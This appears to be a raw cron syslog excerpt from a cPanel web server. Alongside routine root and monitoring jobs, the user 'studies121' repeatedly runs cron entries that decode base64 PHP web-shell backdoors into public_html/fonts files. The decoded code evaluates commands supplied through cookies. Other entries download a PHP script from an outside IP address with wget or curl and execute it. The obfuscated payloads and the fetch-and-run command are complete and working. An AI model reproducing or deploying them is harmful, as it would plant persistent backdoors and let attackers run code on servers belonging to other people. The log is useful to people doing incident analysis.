Sep  6 01:17:02 ip-184-168-122-23 CROND[22448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:18:01 ip-184-168-122-23 CROND[22602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:18:01 ip-184-168-122-23 CROND[22604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:18:01 ip-184-168-122-23 CROND[22605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:18:01 ip-184-168-122-23 CROND[22606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:18:01 ip-184-168-122-23 CROND[22607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:19:01 ip-184-168-122-23 CROND[22685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:19:01 ip-184-168-122-23 CROND[22686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:19:01 ip-184-168-122-23 CROND[22687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:19:01 ip-184-168-122-23 CROND[22688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:20:01 ip-184-168-122-23 CROND[22773]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 01:20:01 ip-184-168-122-23 CROND[22775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:20:01 ip-184-168-122-23 CROND[22776]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 01:20:01 ip-184-168-122-23 CROND[22774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:20:01 ip-184-168-122-23 CROND[22780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:20:01 ip-184-168-122-23 CROND[22778]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:20:01 ip-184-168-122-23 CROND[22782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:20:01 ip-184-168-122-23 CROND[22781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:20:01 ip-184-168-122-23 CROND[22783]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:21:01 ip-184-168-122-23 CROND[22886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:21:01 ip-184-168-122-23 CROND[22885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:21:01 ip-184-168-122-23 CROND[22890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:21:01 ip-184-168-122-23 CROND[22888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:22:01 ip-184-168-122-23 CROND[22968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:22:01 ip-184-168-122-23 CROND[22971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:22:01 ip-184-168-122-23 CROND[22969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:22:01 ip-184-168-122-23 CROND[22970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:22:01 ip-184-168-122-23 CROND[22972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:23:01 ip-184-168-122-23 CROND[23058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:23:01 ip-184-168-122-23 CROND[23060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:23:01 ip-184-168-122-23 CROND[23062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:23:01 ip-184-168-122-23 CROND[23064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:24:02 ip-184-168-122-23 CROND[23145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:24:02 ip-184-168-122-23 CROND[23149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:24:02 ip-184-168-122-23 CROND[23147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:24:02 ip-184-168-122-23 CROND[23148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:24:02 ip-184-168-122-23 CROND[23146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:25:01 ip-184-168-122-23 CROND[23235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:25:01 ip-184-168-122-23 CROND[23236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:25:01 ip-184-168-122-23 CROND[23233]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:25:01 ip-184-168-122-23 CROND[23234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:25:01 ip-184-168-122-23 CROND[23237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:25:01 ip-184-168-122-23 CROND[23238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:26:01 ip-184-168-122-23 CROND[23319]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:26:01 ip-184-168-122-23 CROND[23321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:26:01 ip-184-168-122-23 CROND[23324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:26:01 ip-184-168-122-23 CROND[23322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:26:01 ip-184-168-122-23 CROND[23323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:27:01 ip-184-168-122-23 CROND[23509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:27:01 ip-184-168-122-23 CROND[23510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:27:01 ip-184-168-122-23 CROND[23511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:27:01 ip-184-168-122-23 CROND[23513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:28:01 ip-184-168-122-23 CROND[23588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:28:01 ip-184-168-122-23 CROND[23587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:28:01 ip-184-168-122-23 CROND[23591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:28:01 ip-184-168-122-23 CROND[23589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:28:01 ip-184-168-122-23 CROND[23590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:29:01 ip-184-168-122-23 CROND[23672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:29:01 ip-184-168-122-23 CROND[23671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:29:01 ip-184-168-122-23 CROND[23673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:29:01 ip-184-168-122-23 CROND[23674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:30:01 ip-184-168-122-23 CROND[23758]: (root) CMD (/usr/lib64/sa/sa1 1 1)
